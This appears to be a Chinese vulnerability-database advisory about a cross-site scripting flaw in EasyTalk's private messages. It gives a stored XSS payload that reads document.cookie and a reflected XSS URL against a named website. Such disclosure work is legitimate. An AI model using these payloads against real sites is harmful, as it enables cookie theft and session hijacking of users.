easytalk一处指哪打哪XSS
-
AV
AC
AU
C
I
A
发布：
2025-04-13
修订：
2025-04-13
### 简要描述： ### 详细说明： XSS发生在私信 输入XSS代码：`<input onfocus=alert(document.cookie) autofocus>` [<img src="https://images.seebug.org/upload/201310/12223754fd1afa98f3d978b1ce4edc815eec6579.jpg" alt="0001.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/12223754fd1afa98f3d978b1ce4edc815eec6579.jpg) 即可触发，盗取cookie ### 漏洞证明： 顺便再送个反射形 http://www.hahawb.cn/?m=app&a=applist&keyword=%22%3E%3Cimg%20src=1%20onerror=%22alert%281%29%22/%3E
漏洞利用/PoC
暂无可用Exp或PoC
受影响的平台与产品
当前有0条受影响产品信息
